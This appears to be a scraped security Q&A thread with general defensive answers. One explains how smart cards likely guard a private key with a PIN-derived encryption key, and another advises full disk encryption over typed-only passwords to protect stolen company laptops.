Mostly Correct. This is the part that varies by manufacturer. Even though the private key never leaves the card, you still don't want to store it in plaintext because a careful attacker can remove the flash memory chip and extract the data. My guess in that your 6 digit PIN is stretched into a symmetric encryption key which is used to encrypt / decrypt your private key while it is in storage on the card. This means that until you give it your PIN, even the card can't access your private key.

The PIN is never stored anywhere, except for in the card's RAM while it is plugged in. When the card powers up, it will ask for your PIN, if that allows it to properly decrypt your private key then the card can go ahead and do crypto things, if the PIN you gave does not produce the private key which matches the certificate (ie it produces garbage), then the card will throw an Incorrect PIN Error.

--

A quick Google shows that many smart card vendors post on their website a detailed whitepaper on how their smart cards work. I would encourage you to figure out which vendor manufactures your smart cards, and continue your reading on their site.


Are passwords that are manually typed in really unrecoverable from memory or disk? As part of an increase in the security measures for our company, we're moving to making sure all password logins (databases, servers, etc), are done through a password prompt and never using stored passwords. The hope here is that if a company laptop were to go missing, we wouldn't need to change all our passwords.

Is this really enough to assume we wouldn't need to change passwords? Is it not possible to recover passwords from memory or disk when they are typed in interactively?

This is the wrong solution for this problem.   First, no, it is not safe to assume that passwords can't be recovered from on disk or in memory.  On disk is the real threat...If you're up against adversary who can pull data off of RAM, you're probably up against an adversary you can't defeat in any case.

Additionally, password theft is only one of the threats that you face with a stolen laptop.   Sensitive data loss is another, and generally more serious threat.  Your scheme does nothing to solve this problem.

So, the correct solution is full disk encryption.  This protects all of the data on the drive of a stolen laptop, solving both of these problems with a single solution.   It also frees you up to use whatever mechanisms are most suitable to encourage the strongest possible passwords without worrying about the additional trade-off of requiring that passwords never be stored.